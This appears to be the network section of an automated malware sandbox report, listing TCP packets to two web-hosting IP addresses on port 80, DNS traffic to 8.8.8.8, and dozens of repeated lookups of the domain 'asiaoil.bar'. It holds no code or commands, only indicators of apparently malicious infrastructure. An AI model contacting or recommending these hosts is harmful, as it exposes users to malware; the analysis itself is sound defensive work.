Feb 10, 2022 10:23:23.133810043 CET	49239	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:23.139723063 CET	49239	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:23.156078100 CET	80	49239	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:23.156311989 CET	49239	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:23.172507048 CET	80	49239	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:23.219130993 CET	80	49239	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:23.219188929 CET	80	49239	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:23.219291925 CET	49239	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:23.219335079 CET	49239	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:23.235668898 CET	80	49239	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:25.174902916 CET	49240	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:25.191169977 CET	80	49240	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:25.191263914 CET	49240	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:25.193411112 CET	49240	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:25.209651947 CET	80	49240	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:25.209836006 CET	49240	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:25.226185083 CET	80	49240	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:25.303853035 CET	80	49240	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:25.303932905 CET	80	49240	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:25.304228067 CET	49240	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:25.631509066 CET	49240	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:25.647947073 CET	80	49240	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:26.737293959 CET	49241	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:26.753781080 CET	80	49241	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:26.753931046 CET	49241	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:26.759434938 CET	49241	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:26.775726080 CET	80	49241	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:26.775861025 CET	49241	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:26.792222977 CET	80	49241	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:26.868480921 CET	80	49241	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:26.868607044 CET	49241	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:26.868662119 CET	80	49241	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:26.868722916 CET	49241	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:26.884802103 CET	80	49241	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:27.782962084 CET	49242	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:27.799365997 CET	80	49242	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:27.799454927 CET	49242	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:27.802325010 CET	49242	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:27.818553925 CET	80	49242	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:27.818645954 CET	49242	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:27.834830046 CET	80	49242	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:27.877187014 CET	80	49242	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:27.877285004 CET	80	49242	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:27.877362967 CET	49242	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:27.877413988 CET	49242	80	192.168.2.22	104.21.49.244
Feb 10, 2022 10:23:27.893657923 CET	80	49242	104.21.49.244	192.168.2.22
Feb 10, 2022 10:23:28.779360056 CET	49243	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:28.795767069 CET	80	49243	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:28.797405005 CET	49243	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:28.801702023 CET	49243	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:28.817826986 CET	80	49243	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:28.817922115 CET	49243	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:28.834218025 CET	80	49243	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:28.894922972 CET	80	49243	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:28.894951105 CET	80	49243	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:28.895071983 CET	49243	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:28.895138025 CET	49243	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:28.911288023 CET	80	49243	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:29.771261930 CET	49244	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:29.787571907 CET	80	49244	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:29.787746906 CET	49244	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:29.791358948 CET	49244	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:29.808774948 CET	80	49244	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:29.808893919 CET	49244	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:29.825114012 CET	80	49244	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:29.883049011 CET	80	49244	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:29.883095980 CET	80	49244	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:29.883198977 CET	49244	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:29.883251905 CET	49244	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:29.900052071 CET	80	49244	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:30.781567097 CET	49245	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:30.798001051 CET	80	49245	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:30.798521042 CET	49245	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:30.804450989 CET	49245	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:30.821108103 CET	80	49245	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:30.822309017 CET	49245	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:30.838979959 CET	80	49245	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:30.900362015 CET	80	49245	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:30.900401115 CET	80	49245	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:30.900660038 CET	49245	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:30.900791883 CET	49245	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:30.917085886 CET	80	49245	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:31.822593927 CET	49246	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:31.838879108 CET	80	49246	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:31.839030981 CET	49246	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:31.841167927 CET	49246	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:31.857358932 CET	80	49246	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:31.857433081 CET	49246	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:31.873650074 CET	80	49246	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:31.928236961 CET	80	49246	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:31.928287029 CET	80	49246	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:31.928415060 CET	49246	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:31.928477049 CET	49246	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:31.944920063 CET	80	49246	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:32.841248035 CET	49247	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:32.857985020 CET	80	49247	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:32.858127117 CET	49247	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:32.863722086 CET	49247	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:32.880431890 CET	80	49247	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:32.880721092 CET	49247	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:32.897351980 CET	80	49247	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:33.037036896 CET	80	49247	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:33.037060976 CET	80	49247	172.67.197.66	192.168.2.22
Feb 10, 2022 10:23:33.037200928 CET	49247	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:33.037257910 CET	49247	80	192.168.2.22	172.67.197.66
Feb 10, 2022 10:23:33.054289103 CET	80	49247	172.67.197.66	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 10, 2022 10:21:59.657758951 CET	52167	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:21:59.679673910 CET	53	52167	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:02.798513889 CET	50591	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:02.820064068 CET	53	50591	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:03.787553072 CET	57805	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:03.806817055 CET	53	57805	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:04.872561932 CET	59030	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:04.893670082 CET	53	59030	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:05.912199020 CET	59185	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:05.933922052 CET	53	59185	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:06.966857910 CET	55616	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:06.985570908 CET	53	55616	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:08.076816082 CET	49972	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:08.106977940 CET	53	49972	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:09.230184078 CET	51771	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:09.252610922 CET	53	51771	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:10.377916098 CET	59867	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:10.394609928 CET	53	59867	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:11.444910049 CET	50315	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:11.461467028 CET	53	50315	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:12.512779951 CET	50072	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:12.531579971 CET	53	50072	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:13.589272022 CET	54304	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:13.606112957 CET	53	54304	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:14.746339083 CET	49894	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:14.763432026 CET	53	49894	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:15.840691090 CET	64645	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:15.859421015 CET	53	64645	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:17.182943106 CET	53745	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:17.201698065 CET	53	53745	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:18.547647953 CET	54358	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:18.564426899 CET	53	54358	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:20.264818907 CET	65017	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:20.282020092 CET	53	65017	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:21.332977057 CET	58341	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:21.349742889 CET	53	58341	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:22.452615976 CET	56383	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:22.469295979 CET	53	56383	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:23.465867043 CET	62172	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:23.484388113 CET	53	62172	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:24.550992012 CET	60859	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:24.567791939 CET	53	60859	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:25.553512096 CET	59055	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:25.572346926 CET	53	59055	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:26.633922100 CET	60064	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:26.651072025 CET	53	60064	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:27.648459911 CET	51689	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:27.667135954 CET	53	51689	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:29.048799038 CET	55000	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:29.064960003 CET	53	55000	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:30.756577969 CET	64187	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:30.776675940 CET	53	64187	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:31.841069937 CET	59449	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:31.858690977 CET	53	59449	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:32.912058115 CET	58424	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:32.930648088 CET	53	58424	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:33.968051910 CET	62431	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:33.985292912 CET	53	62431	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:35.016231060 CET	52879	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:35.035057068 CET	53	52879	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:36.033919096 CET	60074	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:36.052189112 CET	53	60074	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:37.078222036 CET	51506	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:37.097563982 CET	53	51506	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:38.129494905 CET	50615	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:38.148770094 CET	53	50615	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:39.180749893 CET	59012	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:39.203105927 CET	53	59012	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:40.243946075 CET	62738	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:40.399499893 CET	53	62738	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:41.397644043 CET	59992	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:41.416198015 CET	53	59992	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:42.486350060 CET	54128	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:42.509901047 CET	53	54128	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:43.505530119 CET	52860	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:43.524178982 CET	53	52860	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:44.545278072 CET	61742	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:44.563961983 CET	53	61742	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:45.600828886 CET	53106	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:45.620157957 CET	53	53106	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:46.679800987 CET	51071	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:46.698565960 CET	53	51071	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:47.694005966 CET	55225	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:47.712665081 CET	53	55225	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:48.794428110 CET	51822	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:48.813474894 CET	53	51822	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:49.859730005 CET	57206	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:49.878983974 CET	53	57206	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:51.002474070 CET	61471	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:51.019309044 CET	53	61471	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:52.024955988 CET	62584	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:52.041841030 CET	53	62584	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:53.105232000 CET	54151	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:53.123905897 CET	53	54151	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:54.168021917 CET	65317	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:54.186261892 CET	53	65317	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:55.185018063 CET	57722	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:55.202280998 CET	53	57722	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:56.195903063 CET	64715	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:56.214804888 CET	53	64715	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:57.314579964 CET	56207	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:57.333787918 CET	53	56207	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:58.398493052 CET	64963	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:58.417352915 CET	53	64963	8.8.8.8	192.168.2.22
Feb 10, 2022 10:22:59.502744913 CET	65379	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:22:59.519994974 CET	53	65379	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:00.513632059 CET	56233	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:00.533606052 CET	53	56233	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:01.576647043 CET	60706	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:01.595443010 CET	53	60706	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:02.585699081 CET	49366	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:02.604903936 CET	53	49366	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:03.632282972 CET	50141	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:03.649529934 CET	53	50141	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:04.624403954 CET	52069	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:04.640897036 CET	53	52069	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:05.917184114 CET	63788	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:05.934077978 CET	53	63788	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:08.555697918 CET	53190	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:08.573890924 CET	53	53190	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:09.629110098 CET	56719	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:09.647778988 CET	53	56719	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:10.670913935 CET	57584	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:10.689938068 CET	53	57584	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:11.707644939 CET	50815	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:11.726572037 CET	53	50815	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:12.786386967 CET	58093	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:12.805661917 CET	53	58093	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:13.874433041 CET	60902	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:13.894022942 CET	53	60902	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:14.890866041 CET	53710	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:14.907351017 CET	53	53710	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:16.130302906 CET	58908	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:16.148524046 CET	53	58908	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:17.382666111 CET	50346	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:17.401235104 CET	53	50346	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:18.736026049 CET	60221	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:18.763688087 CET	53	60221	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:19.799702883 CET	55713	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:19.818831921 CET	53	55713	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:20.931313992 CET	63398	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:20.950112104 CET	53	63398	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:22.033031940 CET	55693	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:22.051954985 CET	53	55693	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:23.098339081 CET	59979	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:23.115072966 CET	53	59979	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:25.154160023 CET	64995	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:25.172872066 CET	53	64995	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:26.716438055 CET	53289	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:26.735743999 CET	53	53289	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:27.763015032 CET	62578	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:27.781708956 CET	53	62578	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:28.759797096 CET	50108	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:28.778294086 CET	53	50108	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:29.753248930 CET	53605	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:29.769979954 CET	53	53605	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:30.760308981 CET	51593	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:30.778796911 CET	53	51593	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:31.802032948 CET	50157	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:31.820941925 CET	53	50157	8.8.8.8	192.168.2.22
Feb 10, 2022 10:23:32.823729992 CET	53952	53	192.168.2.22	8.8.8.8
Feb 10, 2022 10:23:32.840801001 CET	53	53952	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 10, 2022 10:21:59.657758951 CET	192.168.2.22	8.8.8.8	0x9747	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:02.798513889 CET	192.168.2.22	8.8.8.8	0x71f	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:03.787553072 CET	192.168.2.22	8.8.8.8	0xa539	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:04.872561932 CET	192.168.2.22	8.8.8.8	0xa7ce	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:05.912199020 CET	192.168.2.22	8.8.8.8	0xe425	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:06.966857910 CET	192.168.2.22	8.8.8.8	0x51a3	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:08.076816082 CET	192.168.2.22	8.8.8.8	0x49f3	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:09.230184078 CET	192.168.2.22	8.8.8.8	0x2021	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:10.377916098 CET	192.168.2.22	8.8.8.8	0xe478	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:11.444910049 CET	192.168.2.22	8.8.8.8	0xd27f	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:12.512779951 CET	192.168.2.22	8.8.8.8	0xa6ad	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:13.589272022 CET	192.168.2.22	8.8.8.8	0x1d7b	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:14.746339083 CET	192.168.2.22	8.8.8.8	0xc406	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:15.840691090 CET	192.168.2.22	8.8.8.8	0x45dc	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:17.182943106 CET	192.168.2.22	8.8.8.8	0xb6dc	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:18.547647953 CET	192.168.2.22	8.8.8.8	0xbbf0	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:20.264818907 CET	192.168.2.22	8.8.8.8	0x795e	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:21.332977057 CET	192.168.2.22	8.8.8.8	0xeeeb	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:22.452615976 CET	192.168.2.22	8.8.8.8	0xe527	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:23.465867043 CET	192.168.2.22	8.8.8.8	0xfad8	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:24.550992012 CET	192.168.2.22	8.8.8.8	0xc89c	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:25.553512096 CET	192.168.2.22	8.8.8.8	0xe031	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:26.633922100 CET	192.168.2.22	8.8.8.8	0x61b1	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:27.648459911 CET	192.168.2.22	8.8.8.8	0xe5e0	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:29.048799038 CET	192.168.2.22	8.8.8.8	0x1048	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:30.756577969 CET	192.168.2.22	8.8.8.8	0x5557	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:31.841069937 CET	192.168.2.22	8.8.8.8	0x74ef	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:32.912058115 CET	192.168.2.22	8.8.8.8	0x14c8	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:33.968051910 CET	192.168.2.22	8.8.8.8	0x860f	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:35.016231060 CET	192.168.2.22	8.8.8.8	0xfea3	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:36.033919096 CET	192.168.2.22	8.8.8.8	0x2516	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:37.078222036 CET	192.168.2.22	8.8.8.8	0xff8a	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:38.129494905 CET	192.168.2.22	8.8.8.8	0x7ac5	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:39.180749893 CET	192.168.2.22	8.8.8.8	0xb649	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:40.243946075 CET	192.168.2.22	8.8.8.8	0x55b7	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:41.397644043 CET	192.168.2.22	8.8.8.8	0x9913	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:42.486350060 CET	192.168.2.22	8.8.8.8	0xd5cf	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:43.505530119 CET	192.168.2.22	8.8.8.8	0xe474	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:44.545278072 CET	192.168.2.22	8.8.8.8	0xd627	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
Feb 10, 2022 10:22:45.600828886 CET	192.168.2.22	8.8.8.8	0xffb2	Standard query (0)	asiaoil.bar	A (IP address)	IN (0x0001)
